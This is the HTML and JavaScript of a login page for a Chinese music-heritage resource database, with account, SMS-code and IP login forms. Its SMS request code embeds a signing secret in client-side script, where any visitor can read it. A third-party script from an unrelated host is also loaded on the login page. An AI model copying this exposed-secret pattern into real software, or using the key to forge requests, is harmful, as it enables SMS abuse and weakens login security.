<!DOCTYPE html>
<html lang="en">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>中华民族音乐传承出版工程资源数据库</title>
    <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no">
    <link rel="icon" type="image/png" href="./ryjs/images/logo.png">
    <link href="./css/bootstrap.min.css" rel="stylesheet" type="text/css">
    <link href="./ryjs/css/style.css" rel="stylesheet" type="text/css">
    <link href="./font/iconfont.css" rel="stylesheet" type="text/css">
</head>

<body>
    <div class="login">
        <div class="ps-3 login-breadcrumb">
            <span class="breadcrumb-link">
                <a class="text-black" href="https://www.chinamusic.art/">首页</a>
            </span>
            <span class="breadcrumb-separator mx-2 primary-color">
                ＞
            </span>
            <span class="breadcrumb-link text-secondary">登录</span>
        </div>

        <div class="w-100 h-100 display-flex">
            <div class="m-2 p-4 login-center">
                <div class="login-title">
                    <img src="./ryjs/images/logo.png">
                    <p class="font-20 text-muted">欢迎登录</p>
                </div>

                <ul class="nav nav-tabs my-2 justify-content-center" id="myTab" role="tablist">
                    <li class="nav-item" role="presentation">
                        <button class="nav-link active" id="account-login-tab" data-bs-toggle="tab" data-bs-target="#account-login" type="button" role="tab" aria-controls="account-login" aria-selected="true">账号登录</button>
                    </li>
                    <li class="nav-item" role="presentation">
                        <button class="nav-link" id="message-login-tab" data-bs-toggle="tab" data-bs-target="#message-login" type="button" role="tab" aria-controls="message-login" aria-selected="false">短信登录</button>
                    </li>
                    <li class="nav-item" role="presentation">
                       <button class="nav-link" id="ip-login-tab" data-bs-toggle="tab" data-bs-target="#ip-login" type="button" role="tab" aria-controls="ip-login" aria-selected="false">IP登录</button>
                    </li>
                </ul>
                <div class="tab-content" id="myTabContent">
                    <div class="tab-pane fade show active" id="account-login" role="tabpanel" aria-labelledby="account-login-tab">
                        <form class="row needs-validation mt-4" novalidate id="accountLoginForm" action="login" method="post">
                            <input type="hidden" name="type" value="1">
                            <div class="input-group mb-3">
                                <span class="input-group-text">
                                <span class="iconfont font-weight-normal">&#xe608;</span>
                                </span>
                                <input type="text" autocomplete="off" class="form-control" placeholder="账号" required id="accountPhone" name="username">
                                <div class="invalid-feedback">
                                    请输入账号!
                                </div>
                            </div>
                            <div class="input-group mb-3">
                                <span class="input-group-text">
                                <span class="iconfont font-weight-normal">&#xe619;</span>
                                </span>
                                <input type="password" autocomplete="off" class="form-control" placeholder="密码" required id="accountPwd" name="password">
                                <div class="invalid-feedback">
                                    请输入密码!
                                </div>
                            </div>
                            <!--
                            <div class="input-group mb-3">
                                <span class="input-group-text">
                                <span class="iconfont font-weight-normal">&#xe624;</span>
                                </span>
                                <input type="text" autocomplete="off" class="form-control" placeholder="验证码" required id="accountCode" name="code">
                                <span class="input-group-text p-0 cursor-pointer">
                                    <a id="randCode" class="randCode">
                                        <img id="randCodeImg" src="./getRandCode"/>
                                    </a>
                                </span>
                                <div class="invalid-feedback">
                                    请输入验证码!
                                </div>
                            </div>
                            -->
                            <div class="mb-3 fw-bolder primary-color" id="accountLoginErrorInfo">
                                
                            </div>
                            <div class="d-grid gap-2 col-12 mx-auto">
                                <button class="btn btn-danger" type="submit">登录</button>
                            </div>
                        </form>
                        <!--<div class="my-3 float-right cursor-pointer primary-color findPwdBtn">忘记密码？</div>-->
                        <div class="mt-3 d-grid gap-2 col-12 mx-auto">
                            <button type="button" class="btn btn-outline-danger registerBtn">注册</button>
                        </div>
                    </div>

                    <div class="tab-pane fade" id="message-login" role="tabpanel" aria-labelledby="message-login-tab">
                        <form class="row needs-validation mt-4" novalidate id="phoneLoginForm" action="login" method="post">
                            <input type="hidden" name="type" value="2">
                            <div class="input-group mb-3">
                                <span class="input-group-text">
                                <span class="iconfont font-weight-normal">&#xe608;</span>
                                </span>
                                <input type="text" autocomplete="off" class="form-control" placeholder="手机号" required id="phone" name="phone">
                                <div class="invalid-feedback">
                                    请输入手机号!
                                </div>
                            </div>
                            <div class="input-group mb-3">
                                <span class="input-group-text">
                                <span class="iconfont font-weight-normal">&#xe624;</span>
                                </span>
                                <input type="text" autocomplete="off" class="form-control" placeholder="短信验证码" required id="phoneCode" name="code">
                                <button type="button" class="btn btn-primary" id="sendCode" disabled="true">发送验证码</button>
                                <div class="invalid-feedback">
                                    请输入短信验证码!
                                </div>
                            </div>
                            <div class="mb-3 fw-bolder primary-color" id="phoneLoginErrorInfo">
                                
                            </div>
                            <div class="d-grid gap-2 col-12 mx-auto">
                                <button class="btn btn-danger" type="submit">登录</button>
                            </div>
                        </form>
                        <!--<div class="my-3 float-right cursor-pointer primary-color findPwdBtn">忘记密码？</div>-->

                        <div class="d-grid gap-2 col-12 mx-auto">
                            <button type="button" class="btn btn-outline-danger registerBtn">注册</button>
                        </div>
                    </div>
                    <div class="tab-pane fade" id="ip-login" role="tabpanel" aria-labelledby="ip-login-tab">
                        <div class="mt-4 ipInfo" style="background-color: #fff1f0; border: 1px solid #ffa39e;padding: 8px 15px;">
                        </div>
                    </div>
                </div>
            </div>

            <div aria-live="polite" aria-atomic="true" class="position-fixed top-200px" style="z-index: 11">
                <div class="toast text-white bg-warning bg-opacity-75 border-0" role="alert" aria-live="assertive" aria-atomic="true" id="liveToast">
                    <div class="d-flex">
                        <div class="toast-body">
                        </div>
                        <button type="button" class="btn-close btn-close-white me-2 m-auto" data-bs-dismiss="toast" aria-label="Close"></button>
                    </div>
                </div>
            </div>
        </div>
<script> var _mtj = _mtj || []; (function () { var mtj = document.createElement("script"); mtj.src = "https://node94.aizhantj.com:21233/tjjs/?k=lce5g1l23d5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(mtj, s); })(); </script></body>

<script src="./js/jquery-3.5.1.min.js"></script>
<script src="./js/bootstrap.min.js"></script>
<script src="./js/md5.min.js"></script>
<script>
    let queryParams;
    let toast;
    (function() {
        'use strict'

        const toastLiveExample = document.getElementById('liveToast')
        toast = new bootstrap.Toast(toastLiveExample)

        const accountLogErrInfo = '';
        const phoneLogErrInfo = '';
        if(phoneLogErrInfo) {
             $('#message-login-tab').addClass('active');
             $('#account-login-tab').removeClass('active');
             $('#message-login').addClass('active show');
             $('#account-login').removeClass('active show');
        }

        const accountPhone = '';
        if(accountPhone || accountPhone != 0) {
            $('#accountPhone').val(accountPhone);
        }

        const triggerTabList = Array.prototype.slice.call(document.querySelectorAll('#myTab button'))
        triggerTabList.forEach(function(triggerEl) {
            const tabTrigger = new bootstrap.Tab(triggerEl)
            triggerEl.addEventListener('shown.bs.tab', function(event) {
                event.preventDefault()
                tabTrigger.show()
                accountLoginForm.classList.remove('was-validated')
                phoneLoginForm.classList.remove('was-validated')
                $('#accountLoginErrorInfo').empty();
                $('#phoneLoginErrorInfo').empty();
            })
        })


        const accountLoginForm = document.querySelector('#accountLoginForm')
        accountLoginForm.addEventListener('submit', function(event) {
            if (!accountLoginForm.checkValidity()) {
                event.preventDefault()
                event.stopPropagation()
                accountLoginForm.classList.add('was-validated')
                $('#accountLoginErrorInfo').empty();
            } else {
                let warnInfo = '';
                const phoneVal = $('#accountPhone').val();
                if (!checkPhone(phoneVal)) {
                    event.preventDefault()
                    event.stopPropagation()
                    warnInfo = '请输入正确格式的手机号码！';
                    showWarnInfoToast(warnInfo)
                    toast.show()
                }
            }
        }, false)


        $("#randCode").bind("click", function() {
            const src = "./getRandCode?time=" + (new Date()).getTime();
           $("#randCodeImg").attr("src", src);
        });

        const phoneLoginForm = document.querySelector('#phoneLoginForm')
        phoneLoginForm.addEventListener('submit', function(event) {
            if (!phoneLoginForm.checkValidity()) {
                event.preventDefault()
                event.stopPropagation()
                phoneLoginForm.classList.add('was-validated')
            } else {
                let warnInfo = '';
                const phoneVal = $('#phone').val();
                if (!checkPhone(phoneVal)) {
                    event.preventDefault()
                    event.stopPropagation()
                    warnInfo = '请输入正确格式的手机号码！';
                    showWarnInfoToast(warnInfo)
                    toast.show()
                    return;
                }
            }
        }, false)

        $('#phone').bind('input propertychange', function() {
            const phoneVal = $(this).val();
            if(timeInter != null) {
                $("#sendCode").attr('disabled', true);
                return;
            }
            if (phoneVal && checkPhone(phoneVal)) {
                $("#sendCode").attr('disabled', false);
            } else {
                $("#sendCode").attr('disabled', true);
            }
        })

        $("#sendCode").bind('click', function() {
            if (!$(this).hasClass("disabled")) {
                $(this).attr("disabled", "disabled");
                getPhoneCode();
            }
        })

        $(".registerBtn").bind('click', function() {
            let url = './register?redirect=https%3A%2F%2Fwww.chinamusic.art%2Fkey%2Flogin%3Fappid%3D08e23146-0aea-45f5-bd3f-51bc01ba3cf9%26timestamp%3D1772731779352%26redirect%3Dhttps%253A%252F%252Fwww.chinamusic.art%252Fdetails%252Fryjs%252Fcss%252Fstyle.css%26accesscode%3D030d1878ff62df5385826262a94101326d73924cdb0fa6047b2b081166b02c6c';
            window.location.href = url;
        })

        $(".findPwdBtn").bind('click', function() {
            let url = './findpassword?redirect=https%3A%2F%2Fwww.chinamusic.art%2Fkey%2Flogin%3Fappid%3D08e23146-0aea-45f5-bd3f-51bc01ba3cf9%26timestamp%3D1772731779352%26redirect%3Dhttps%253A%252F%252Fwww.chinamusic.art%252Fdetails%252Fryjs%252Fcss%252Fstyle.css%26accesscode%3D030d1878ff62df5385826262a94101326d73924cdb0fa6047b2b081166b02c6c';
            window.location.href = url;
        })
    })()

    function getPhoneCode() {
        const mobileNumber = $('#phone').val();
        const timestamp = new Date().getTime();
        const mobileEncryptCode = 'IBEvoUMjYLfDRo4d';
        const code = md5(mobileEncryptCode + mobileNumber + timestamp);
        const param = {
            "mobileNumber": mobileNumber + '',
            "type": 6,
            "timestamp": timestamp + '',
            "code": code
        };
        let httpRequest = new XMLHttpRequest();
        httpRequest.open('POST', './api/getMobileVerifyCode', true);
        httpRequest.setRequestHeader("Content-type", "application/json");
        httpRequest.send(JSON.stringify(param));
        httpRequest.onreadystatechange = function() {
            if (httpRequest.readyState == 4 && httpRequest.status == 200) {
                const responseText = httpRequest.responseText;
                const responseJson = JSON.parse(responseText);
                const data = responseJson.data;
                const code = responseJson.code;
                if(code == 0) {
                    setVerifyCodeBtnInfo();
                    const phoneVal = $('#phone').val();
                    showSuccessInfoToast(`动态验证码已发送至：` + phoneVal + `,请注意查收！`);
                    toast.show()
                } else if(code === 555 || code === '555') {
                    setVerifyCodeBtnInfo();
                    showWarnInfoToast(responseJson.message)
                    toast.show()
                } else {
                    showWarnInfoToast(responseJson.message)
                    toast.show()
                    setTimeout(()=> {
                        $("#sendCode").attr('disabled', false);
                    }, 2000);
                }
            } else {
                setTimeout(()=> {
                    $("#sendCode").attr('disabled', false);
                }, 2000);
            }
        };
    }

    $("#ip-login-tab").click(function () {
        $.ajax({
            url: `./loginIP`,
            type: 'POST',
            dataType: "json",
            //data: JSON.stringify(p),
            contentType: 'application/json;charset=utf-8',
            success: function (data, status) {
                if (status == 'success') {
                    if(data.code == '0') {
                        window.location.href = data.url
                    }else {
                        $(".ipInfo").empty().html(data.message);
                    }
                }
            },
            error: function (data) {
            }
        });
    })


    let timeInter;
    function setVerifyCodeBtnInfo() {
        let time = 60;
        let val = '';
        if (timeInter == null) {
            timeInter = setInterval(() => {
                time--;
                if (time <= 0) {
                    clearInterval(timeInter);
                    timeInter = null;
                    $("#sendCode").attr('disabled', false);
                    val = '重新获取';
                } else {
                    $("#sendCode").attr('disabled', true);
                    val = time + 's';
                }
                $("#sendCode").text(val);
            }, 1000);
        }
    }

    function checkPhone(phone) {
        return !(!phone || !(/^1[23456789][0-9]{9}$/.test(phone)));

    }

    function showWarnInfoToast(msg) {
        $('#liveToast').removeClass('bg-success');
        $('#liveToast').addClass('bg-warning');
        $('.toast-body').empty();
        $('.toast-body').text(msg);
    }

    function showSuccessInfoToast(msg) {
        $('#liveToast').addClass('bg-success');
        $('#liveToast').removeClass('bg-warning');
        $('.toast-body').empty();
        $('.toast-body').text(msg);
    }

</script>

</html>